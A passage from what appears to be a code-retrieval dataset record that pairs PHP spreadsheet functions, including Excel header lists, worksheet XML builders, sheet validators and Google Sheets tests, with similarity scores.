= array('xls', 'xlsx');\n if (! in_array($extension, $support_extention)) {\n throw new PointException('FILE FORMAT NOT ACCEPTED, PLEASE USE XLS OR XLSX EXTENTION');\n }\n }", "public function asXml(&$sheets, $sourceCharset = 'utf-8') {\r\n $doc = new SimpleXMLElement(\r\n'<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Workbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\r\n xmlns:o=\"urn:schemas-microsoft-com:office:office\"\r\n xmlns:x=\"urn:schemas-microsoft-com:office:excel\"\r\n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\r\n xmlns:html=\"http://www.w3.org/TR/REC-html40\"></Workbook>'\r\n);\r\n\r\n \r\n $convArgs = array(\r\n 'sourceCharset' => &$sourceCharset,\r\n 'iconv' => ($sourceCharset == 'utf-8' ? false : true)\r\n );\r\n\r\n $indexOfSheet = 0;\r\n foreach ($sheets as $sheet) :\r\n //<Worksheet ss:Name=\"Sheet1\">\r\n //<Table>\r\n $worksheetNode = $doc->addChild('Worksheet');\r\n //$worksheetNode->addAttribute('ss:Name', 'sheet1');//BUG?\r\n $worksheetNode['ss:Name'] = 'sheet' . (++$indexOfSheet);\r\n\r\n $worksheetNode->Table = '';//add a child with value '' by setter\r\n //$tableNode = $worksheetNode->addChild('Table');/add a child by addChild()\r\n\r\n if ( !array_key_exists(0, $sheet[0]) ) {\r\n //an associative array, write header fields.\r\n $rowNode = $worksheetNode->Table->addChild('Row');\r\n foreach(array_keys($sheet[0]) as $fieldName) {\r\n $cellNode = $rowNode->addChild('Cell');\r\n $cellNode->Data = self::convCellData($convArgs, $fieldName);\r\n $cellNode->Data['ss:Type'] = 'String';\r\n }\r\n }\r\n\r\n foreach ($sheet as $row) :\r\n //<Row>\r\n $rowNode = $worksheetNode->Table->addChild('Row');\r\n foreach ($row as $col) :\r\n //<Cell><Data ss:Type=\"Number\">1</Data></Cell>\r\n $cellNode = $rowNode->addChild('Cell');\r\n $cellNode->Data = self::convCellData($convArgs, $col);\r\n $cellNode->Data['ss:Type'] = (\r\n (!is_string($col) or (is_numeric($col) and $col[0] != '0'))\r\n ? 'Number'\r\n : 'String'\r\n );\r\n endforeach;//$row as $col\r\n endforeach;//$sheet as $row\r\n endforeach;//$sheets as $sheet\r\n return $doc->asXML();\r\n }", "public static function getArrangedSheets ( $id = 0 ) {\n\t\t$arrangedSheets = array();\n\t\t$sheets = self::getByConfigId($id);\n\t\t\n\t\tfor ( $i=0; $i<count($sheets); $i++ ) {\n\t\t\t$arrangedSheets[\"sheet\".($i + 1)]['sheet_id'] = $sheets[$i]->sheet_id;\n\t\t\t$arrangedSheets[\"sheet\".($i + 1)]['config_id'] = $sheets[$i]->config_id;\n\t\t\t$arrangedSheets[\"sheet\".($i + 1)]['sheet_name'] = $sheets[$i]->sheet_name;\n\t\t\t$arrangedSheets[\"sheet\".($i + 1)]['configuration_string'] = $sheets[$i]->configuration_string;\n\t\t\t$arrangedSheets[\"sheet\".($i + 1)]['data_table'] = $sheets[$i]->data_table;\n\t\t\t$arrangedSheets[\"sheet\".($i + 1)]['data_table_columns'] = $sheets[$i]->data_table_columns;\n\t\t}\n\t\t\n\t\treturn $arrangedSheets;\n\t}", "public function rules()\n\t{\n\t\t$organization_id = $department_id = isset($this->organizations->id) ? $this->organizations->id : '';\n\n\t\treturn [\n\t\t\t'title' => ['required', 'min:4', \"unique:organizations,title,{$organization_id}\"],\n\t\t];\n\t}", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "public function setCurrentSheet($sheet);", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "public function getActiveSheetIndex() {\n\t\tif( $this->activeSheet === NULL )\n\t\t\treturn -1;\n\t\tforeach($this->workSheetCollection as $index => $worksheet)\n\t\t\tif( $worksheet === $this->activeSheet )\n\t\t\t\treturn $index;\n\t\treturn -1;\n\t}", "public function __construct($headers=array())\n\t{\n\t\t$headers = array_merge(array(\n 'title'\t\t\t=> 'Данные с метеостанции',\n 'subject'\t\t=> 'Данные с метеостанции',\n 'description'\t=> 'Данные с метеостанции',\n 'author'\t\t=> 'ВФ МЭИ',\n\n\t\t), $headers);\n\n\t\t$this->_spreadsheet = new PHPExcel();\n\t\t// Set properties\n\t\t$this->_spreadsheet->getProperties()\n\t\t\t->setCreator( $headers['author'] )\n\t\t\t->setTitle( $headers['title'] )\n\t\t\t->setSubject( $headers['subject'] )\n\t\t\t->setDescription( $headers['description'] );\n\t\t\t//->setActiveSheetIndex(0);\n\t\t//$this->_spreadsheet->getActiveSheet()->setTitle('Minimalistic demo');\n\t}", "public function makeComStatsExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-stats-tpl.xls');\n\t}", "public function createSheet($iSheetIndex = null)\n {\n echo $iSheetIndex; exit();\n\t\t$newSheet = new PHPExcel_Worksheet($this);\n $this->addSheet($newSheet, $iSheetIndex);\n\t\t\n return $newSheet;\n }", "public function destroy(Sheet $sheet)\n {\n //\n }", "protected function createSheetXml() {\n\n\t\t$sWorkbook = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>' . \"\\n\"\n\t\t\t. '<workbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"><fileVersion appName=\"xl\" lastEdited=\"5\" lowestEdited=\"5\" rupBuild=\"23206\"/><workbookPr showInkAnnotation=\"0\" autoCompressPictures=\"0\"/>'\n\t\t\t. '<bookViews><workbookView xWindow=\"0\" yWindow=\"0\" windowWidth=\"25600\" windowHeight=\"14460\" tabRatio=\"500\"/></bookViews>'\n\t\t\t. '<sheets>';\n\n\t\t// iterate sheets\n\t\tfor($iSheet = 0; $iSheet < $this->getNumberOfSheets(); $iSheet++) {\n\n\t\t\t/** @var Sheet $oSheet */\n\t\t\t$oSheet = $this->getDelegate()->getSheetForWorkBook($this->getWorkbook(), $iSheet);\n\n\t\t\t// make sure that oSheet is instanceof sheet\n\t\t\tif (!$oSheet instanceof Sheet) {\n\t\t\t\tthrow new \\LogicException(sprintf('WorkbookDelegate::getSheetForWorkBook have to return an instance of \\Excellence\\Sheet, \"%s\" given.', gettype($oSheet)));\n\t\t\t}\n\n\t\t\t$this->aSheets[] = $oSheet;\n\n\t\t\t$sWorkbook .= '<sheet name=\"' . (($oSheet->hasName()) ? $oSheet->getName() : 'Sheet ' . ($iSheet + 1)) . '\" sheetId=\"' . ($iSheet + 1) . '\" r:id=\"rId' . ($iSheet + 1) . '\"/>';\n\n\t\t}\n\n\t\t$sWorkbook .= '</sheets><calcPr calcId=\"140000\" concurrentCalc=\"0\"/><extLst><ext xmlns:mx=\"http://schemas.microsoft.com/office/mac/excel/2008/main\" uri=\"{7523E5D3-25F3-A5E0-1632-64F254C22452}\"><mx:ArchID Flags=\"2\"/></ext></extLst></workbook>';\n\n\t\treturn $sWorkbook;\n\n\t}", "protected function googleSpreadsheetService(): Sheets\n {\n $credentialsPath = config('stepupdream.spread-sheet-converter.credentials_path');\n\n $client = new Google_Client();\n $client->setScopes([Google_Service_Sheets::SPREADSHEETS]);\n $client->setAuthConfig($credentialsPath);\n\n return new Google_Service_Sheets($client);\n }", "public function __construct(Temboo_Session $session)\n {\n parent::__construct($session, '/Library/Google/Spreadsheets/DeleteWorksheet/');\n }", "public function isRangingNeeded()\n {\n return false; // By default true, due to indexing issue making it false\n }", "public function testValidateDocumentXlsValidation()\n {\n }", "abstract protected function excel ();", "public function removeSheetByIndex($pIndex) {\n\t\tif( ! isset($this->workSheetCollection[$pIndex]) )\n\t\t\tthrow new PHPExcelException(\"no this sheet index: $pIndex\");\n\t\t\n\t\tarray_splice($this->workSheetCollection, $pIndex, 1);\n\t\t// Adjust active sheet index if necessary\n\t\tif (($this->activeSheetIndex >= $pIndex) &&\n\t\t\t\t($pIndex > count($this->workSheetCollection) - 1)) {\n\t\t\t--$this->activeSheetIndex;\n\t\t\tif( $this->activeSheetIndex >= 0 )\n\t\t\t\t$this->activeSheet = $this->workSheetCollection[$this->activeSheetIndex];\n\t\t\telse\n\t\t\t\t$this->activeSheet = NULL;\n\t\t}\n\t}", "public function rules()\n\t{\n\t\treturn array(\n\t\t\tarray('competition', 'required'),\n\t\t);\n\t}", "public function canAddFieldsToPaletteAfterNotExistingOnes() {}", "public function testLoadFile_invalidFileName() : void\n {\n $spreadsheet = SpreadsheetUtil::loadFile('junk.xls');\n $this->assertNull($spreadsheet);\n }", "public function has_withStyleNameThatDoesNotExistInStyles_returnsFalse ( )\n\t{\n\t\t$style = Mockery::mock ( Style::class );\n\t\t$style->name = 'inexistent style';\n\n\t\tassertThat ( $this->styles->has ( $style ), is ( identicalTo ( false ) ) );\n\t}", "public function getSheet($index = null): ?Sheet\n {\n if (null === $index) {\n return reset($this->sheets);\n }\n\n if (is_int($index)) {\n $keys = array_keys($this->sheets);\n if (isset($keys[--$index])) {\n $key = $keys[$index];\n }\n else {\n // index not found\n throw new Exception('Sheet #' . ++$index . ' not found');\n }\n }\n else {\n $key = mb_strtolower($index);\n if (!isset($this->sheets[$key])) {\n throw new Exception('Sheet \"' . $index . '\" not found');\n }\n }\n return $this->sheets[$key] ?? null;\n }", "public function rules()\n {\n return [\n \n 'excel' => 'required|mimes:csv,xls,xlsx'\n\n ];\n }", "protected function getTitleArray(array $sheet, string $sheetTitle): array\n {\n $result = [];\n $headerRow = [];\n $isHeader = true;\n\n if (empty($sheet)) {\n throw new LogicException('need sheet header: '.$sheetTitle);\n }\n\n foreach ($sheet as $row) {\n if ($isHeader) {\n $headerRow = $row;\n $isHeader = false;\n } else {\n $rowWithKey = [];\n foreach ($headerRow as $key => $value) {\n $rowWithKey[$value] = $row[$key] ?? '';\n }\n\n $result[] = $rowWithKey;\n }\n }\n\n return $result;\n }", "function headings() {\r\n\t\t// and that they receive anchors so that they may be linked to from the table of contents.\r\n\t\t//ReTidy::force_headings();\r\n\t\tReTidy::heading_anchors();\r\n\t}", "public function testCreateTimesheet()\n {\n }", "public function getSheet($pIndex) {\n\t\tif (!isset($this->workSheetCollection[$pIndex])) {\n\t\t\t$numSheets = $this->getSheetCount();\n\t\t\tthrow new OutOfBoundsException(\n\t\t\t\"Your requested sheet index: $pIndex is out of bounds. The actual number of sheets is $numSheets.\"\n\t\t\t);\n\t\t}\n\n\t\treturn $this->workSheetCollection[$pIndex];\n\t}", "function rawpheno_validate_excel_file($file, $project_id, $source) {\n $status = array();\n\n // Process the validators to make them easier to use.\n // Specifically, sort them by their scope.\n $validators = array();\n $all_validators = module_invoke_all('rawpheno_validators');\n foreach($all_validators as $k => $v) {\n $validators[ $v['scope'] ][ $k ] = $v;\n }\n\n // Todo list.\n $all_scope_validators = array('project', 'file', 'all', 'header', 'subset');\n\n // Add the libraries needed to parse excel files.\n rawpheno_add_parsing_libraries();\n\n // Before performing any validation to the excel file. Ensure first that a project is selected.\n foreach ($validators['project'] as $prj_validator_name => $prj_validator) {\n if (isset($prj_validator['validation callback']) AND function_exists($prj_validator['validation callback'])) {\n $status[ $prj_validator_name ] = call_user_func($prj_validator['validation callback'], $project_id);\n\n // If returned false then halt validation.\n if ($status[ $prj_validator_name ] === FALSE) {\n // Fail the project and set the rest to TODO.\n $status[ $prj_validator_name ] = FALSE;\n\n // Todo the rest of validators.\n // Since this is project scope and it got falsed - remove the project.\n unset($all_scope_validators[0]);\n foreach($all_scope_validators as $v) {\n foreach($validators[ $v ] as $v_name => $validator) {\n $status[ $v_name ] = 'todo';\n }\n }\n\n return $status;\n }\n }\n }\n\n // First validate the whole file. If any of these fail then halt validation.\n foreach ($validators['file'] as $validator_name => $validator) {\n if (isset($validator['validation callback']) AND function_exists($validator['validation callback'])) {\n $status[ $validator_name ] = call_user_func($validator['validation callback'], $file);\n\n // If returned false then halt validation.\n if ($status[ $validator_name ] === FALSE) {\n // Fail the file and set the rest to TODO but set the project to passed\n // first since it is assumed that project validator returned a passed value.\n $status[ 'project_selected' ] = TRUE;\n $status[ $validator_name ] = FALSE;\n\n // Todo the rest of validators.\n // Since project is completed. skip this scope.\n unset($all_scope_validators[0]);\n foreach($all_scope_validators as $v) {\n foreach($validators[ $v ] as $v_name => $validator) {\n if ($status[ $v_name ] === TRUE) {\n $status[ $v_name ] = TRUE;\n }\n elseif ($status[ $v_name ] === FALSE) {\n $status[ $v_name ] = FALSE;\n }\n else {\n $status[ $v_name ] = 'todo';\n }\n }\n }\n\n return $status;\n }\n }\n }\n\n // Open the file for reading\n $xls_obj = rawpheno_open_file($file);\n\n // Change to the correct spreadsheet.\n rawpheno_change_sheet($xls_obj, 'measurements');\n\n // This increment variable $i is required since xls and xlsx\n // parsers assign array index differently.\n // XLS starts at 1, while XLSX at 0;\n $i = 0;\n\n // Variations of Not Applicable.\n $not_applicable = array('na', 'n/a', 'n.a.');\n\n // Skip columns.\n $skip = array();\n // Project name.\n $project_name = rawpheno_function_getproject($project_id);\n // Calling all modules implementing hook_rawpheno_ignorecols_valsave_alter():\n drupal_alter('rawpheno_ignorecols_valsave', $skip, $project_name);\n\n // Iterate though each row.\n $num_errored_rows = 0;\n $storage = array();\n foreach($xls_obj as $row) {\n $i++;\n\n // Convert row into a string and check the length.\n // This will exclude empty rows.\n if (strlen(trim(implode('', $row))) >= 5) {\n\n // VALIDATE THE HEADER.\n if ($i == 1) {\n // Save the header for later.\n $header = array();\n $new_header = array();\n // Checking plot value requires cell value in Planting Date (date) and Location.\n // Store index numbers of these two traits.\n $plot_req = array();\n\n $o = 0;\n foreach ($row as $r) {\n $without_format = rawpheno_function_delformat($r);\n\n // To maintain index of both cells and header, tag either to skip or process\n // based on headers in drupal_alter hook.\n $s = (in_array($without_format, $skip)) ? 1 : 0;\n\n // Remove new lines.\n $rem_newline = str_replace(array(\"\\n\", \"\\r\"), ' ', $r);\n // Remove extra spaces.\n $rem_spaces = preg_replace('/\\s+/', ' ', $rem_newline);\n // Remove leading and trailing spaces.\n $r = trim($rem_spaces);\n $no_units = rawpheno_get_trait_name($r);\n\n $header[] = array(\n 'no format' => $without_format,\n 'original' => $r,\n 'units' => rawpheno_function_unit($without_format),\n 'no units' => $no_units,\n 'skip' => $s,\n );\n\n // Store index number of Plot trait requirements.\n if (!isset($plot_req['planting date (date)']) && $without_format == 'plantingdate(date)') {\n $plot_req['planting date (date)'] = $o;\n }\n elseif (!isset($plot_req['location']) && $without_format == 'location') {\n $plot_req['location'] = $o;\n }\n\n $o++;\n }\n\n // Foreach validator with a scope of header, execute the validation callback & save the results.\n foreach($validators['header'] as $validator_name => $validator) {\n if (isset($validator['validation callback']) AND function_exists($validator['validation callback'])) {\n $result = call_user_func($validator['validation callback'], $header, $project_id);\n\n // The status needs to keep track of which rows failed for a given header.\n if ($result === FALSE) {\n $status[ $validator_name ] = $i;\n }\n elseif (is_array($result)) {\n $status[ $validator_name ] = $result;\n }\n }\n }\n }\n // VALIDATE THE ROW.\n else {\n\n $row_has_error = FALSE;\n foreach ($row as $column_index => $cell) {\n if ($header[$column_index]['skip'] == 1) continue;\n\n $column_name = $header[$column_index]['no units'];\n if (empty($column_name)) continue;\n\n // Prior to validating, Remove non-breaking whitespace by converting it to a blank space instead of removing it,\n // in case user intends a space between words/values.\n // trim() implementation below should drop unecessary leading and trailing spaces.\n if (preg_match('/\\xc2\\xa0/', $cell)) {\n $cell = preg_replace('/\\xc2\\xa0/', ' ', $cell);\n }\n\n // We always want to strip flanking white space.\n // FYI: This is done when the data is loaded as well.\n $cell = trim($cell);\n\n // For consistency, convert all variations of not applicable to NA.\n if (is_string($cell) && in_array(strtolower($cell), $not_applicable)) {\n $cell = 'NA';\n }\n\n // Foreach validator:\n foreach (array('all','subset') as $scope) {\n foreach($validators[$scope] as $validator_name => $validator) {\n\n // Only validate if there is a validation callback.\n if (isset($validator['validation callback']) AND function_exists($validator['validation callback'])) {\n\n // Only validate if the current validator applies to the current column.\n // Specifically, if there are no defined headers it's applicable to\n // OR if the current header is in the list of applicable headers.\n if (!isset($validator['headers']) OR in_array($column_name, $validator['headers'])) {\n\n // Execute the validation callback & save the results.\n $tmp_storage = (isset($storage[$validator_name])) ? $storage[$validator_name] : array();\n $context = array(\n 'row index' => $i,\n 'column index' => $column_index,\n 'row' => $row,\n 'header' => $header\n );\n\n // If column header is Plot, attach Plot validation requirement to\n // $context array. The indexes will be used to fetch the cell value in context row.\n if ($column_name == 'Plot') {\n $context['plot_req'] = $plot_req;\n }\n\n $result = $validator['validation callback']($cell, $context, $tmp_storage, $project_id);\n\n // Note: we use tmp storage b/c passing $storage[$validator_name] directly\n // doesn't seem to work.\n $storage[$validator_name] = $tmp_storage;\n\n // The status needs to keep track of which rows failed for a given header.\n if (is_array($result)) {\n $status[ $validator_name ][ $column_name ][$i] = $result;\n $row_has_error = TRUE;\n }\n elseif ($result !== TRUE) {\n $status[ $validator_name ][ $column_name ][$i] = $i;\n $row_has_error = TRUE;\n }\n }\n }\n }\n }\n }\n\n if ($row_has_error) $num_errored_rows++;\n }\n\n // Only check until you have 10 rows with errors.\n if ($num_errored_rows >= 10) {\n // We only want to present the warning if this is not the end of the file ;-)\n $has_next = $xls_obj->next();\n if ($has_next AND strlen(trim(implode('', $has_next))) >= 1) {\n $check_limit_message = \"We have only checked the first $i lines of your file. Please fix the errors reported below and then upload the fixed file.\";\n\n if ($source == 'upload') {\n drupal_set_message($check_limit_message, 'error');\n return $status;\n }\n elseif ($source == 'backup') {\n return array('status' => $status, 'check_limit' => $check_limit_message);\n }\n }\n }\n }\n }\n\n // Make sure all validators are represented in status.\n // If they are not already then a failure wasn't recorded -thus they passed :-).\n foreach($all_validators as $validator_name => $validator) {\n if (!isset($status[$validator_name])) {\n $status[$validator_name] = TRUE;\n }\n }\n\n return $status;\n}", "public function testPingGoogleSheet($driveUrl, $id, $name, $sheets, $table = [])\n {\n $driveFile = new \\Google_Service_Drive_DriveFile([\n 'id' => $id,\n 'mimeType' => GoogleAPIClient::MIME_TYPE_GOOGLE_SPREADSHEET,\n 'name' => $name\n ]);\n\n $driveFilesMock = $this->createMock('Google_Service_Drive_Resource_Files');\n $driveFilesMock->method('get')->with($id)->willReturn($driveFile);\n\n $driveServiceMock = $this->createMock('Google_Service_Drive');\n $driveServiceMock->files = $driveFilesMock;\n\n $sheetsData1 = array_map(function ($name) {\n return ['properties' => ['title' => $name]];\n }, $sheets);\n $sheetsData2 = array_slice($sheetsData1, 0, 1);\n if ($sheetsData2) {\n $sheetsData2[0]['data'] = [\n [\n 'rowData' => array_map(function ($row) {\n return [\n 'values' => array_map(function ($value) {\n return ['formattedValue' => $value];\n }, $row)\n ];\n }, $table)\n ]\n ];\n $sheetsData2[0]['merges'] = [];\n }\n\n $sheetsSpreadsheetsMock = $this->createMock('Google_Service_Sheets_Resource_Spreadsheets');\n $sheetsSpreadsheetsMock\n ->method('get')\n ->withConsecutive(\n [$id, ['includeGridData' => false]],\n [$id, ['includeGridData' => true, 'ranges' => ['A1:E5']]]\n )\n ->will($this->onConsecutiveCalls(\n new \\Google_Service_Sheets_Spreadsheet(['sheets' => $sheetsData1]),\n new \\Google_Service_Sheets_Spreadsheet(['sheets' => $sheetsData2])\n ));\n\n $sheetsServiceMock = $this->createMock('Google_Service_Sheets');\n $sheetsServiceMock->spreadsheets = $sheetsSpreadsheetsMock;\n\n $googleAPIClientMock = $this->createMock(GoogleAPIClient::class);\n $googleAPIClientMock->method('authenticateFromCommand')->willReturn(true);\n $googleAPIClientMock->driveService = $driveServiceMock;\n $googleAPIClientMock->sheetsService = $sheetsServiceMock;\n\n $this->googleAPIFactoryMock->method('make')->willReturn($googleAPIClientMock);\n\n $commandTester = new CommandTester($this->command);\n $commandTester->execute([\n 'driveUrl' => $driveUrl,\n '--gApiOAuthSecretFile' => $this->secretPath,\n '--gApiAccessTokenFile' => $this->tokenPath\n ]);\n $output = $commandTester->getDisplay();\n $this->assertContains('The URL is a Google Sheets file', $output);\n $this->assertContains('Name: '.$name, $output);\n if ($sheets) {\n $this->assertContains('Sheets: '.implode(', ', $sheets), $output);\n foreach ($table as $row) {\n foreach ($row as $value) {\n $this->assertContains((string)$value, $output);\n }\n }\n } else {\n $this->assertContains('The file has no sheets', $output);\n }\n $this->assertEquals(0, $commandTester->getStatusCode());\n }", "public function hasTitles()\n\t{\n\t\treturn true;\n\t}", "public function rules()\n {\n \n return [\n 'title' => 'bail|required|alpha|min:3|max:50',\n 'course_number' => 'bail|required|integer|unique',\n 'description' => 'bail|required|unique|min:3|max:200',\n 'availability' => 'bail|required|in:available,unavailable',\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "abstract protected function getConcreteSheetIterator();", "private function min_headings_num() {\n\t\t$this->section_data['general_min_headings_num'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_min_headings_num',\n\t\t\t'label' \t\t\t\t=> __( 'Display TOC when', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> '',\n\t\t\t'type' \t\t\t\t\t=> 'number',\n\t\t\t'input_attrs'\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'class' => 'small-text'\n\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t'sanitize'\t\t\t=> 'absint',\n\t\t\t'suffix'\t\t\t\t=> __( 'or more headings are present.', 'fixedtoc' )\n\t\t);\n\t}", "public function validationSummary();", "public function getActiveSheet()\n {\n return $this->activeSheet;\n }", "protected function getWorksheetFromExternalSheet($sheet)\n {\n $worksheetFound = null;\n\n foreach ($this->worksheets as $worksheet) {\n if ($worksheet->getExternalSheet() === $sheet) {\n $worksheetFound = $worksheet;\n break;\n }\n }\n\n return $worksheetFound;\n }", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public function validateRules();", "public function setCurrentSheet($sheet)\n {\n $worksheet = $this->getWorksheetFromExternalSheet($sheet);\n if ($worksheet !== null) {\n $this->currentWorksheet = $worksheet;\n } else {\n throw new SheetNotFoundException('The given sheet does not exist in the workbook.');\n }\n }" ]
[ "0.5996339", "0.59128743", "0.5773819", "0.5656273", "0.5633482", "0.5533598", "0.54610395", "0.54604137", "0.54370934", "0.51945305", "0.51381505", "0.5052666", "0.5043237", "0.5007769", "0.49925402", "0.4978333", "0.49442396", "0.49274254", "0.49238485", "0.4887698", "0.4872734", "0.4866062", "0.48110676", "0.47253016", "0.4715912", "0.4707387", "0.47006702", "0.46699557", "0.46544522", "0.46519017", "0.46410054", "0.46225113", "0.46219367", "0.46072212", "0.46005163", "0.45821616", "0.45708326", "0.456355", "0.45568198", "0.4554818", "0.45478123", "0.4537912", "0.453517", "0.45098433", "0.45067704", "0.45055717", "0.4489441", "0.44885814", "0.44871557", "0.44859824", "0.44803208", "0.44719934", "0.44694036", "0.44635093", "0.44613487", "0.4459729", "0.4453657", "0.44500244", "0.4447689", "0.44383782", "0.44380784", "0.44374156", "0.44363964", "0.4419124", "0.44124517", "0.44032976", "0.4403228", "0.43997547", "0.43925643", "0.43878415", "0.43875262", "0.4387484", "0.43827313", "0.4364103", "0.43612215", "0.43495664", "0.43494537", "0.4348161", "0.43422958", "0.43415844", "0.43411294", "0.433785", "0.43364608", "0.43360254", "0.4329346", "0.43197623", "0.43181244", "0.43080541", "0.43080184", "0.4306578", "0.43054676", "0.4304303", "0.4302827", "0.43009973", "0.4300038", "0.42979047", "0.42889994", "0.42858762", "0.4280511", "0.42778027" ]
0.7152865
0
Skilling SA data excel headings
public static function excelSkillingSaHeadings() { return [ 'Project', 'Status', 'Industry', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", 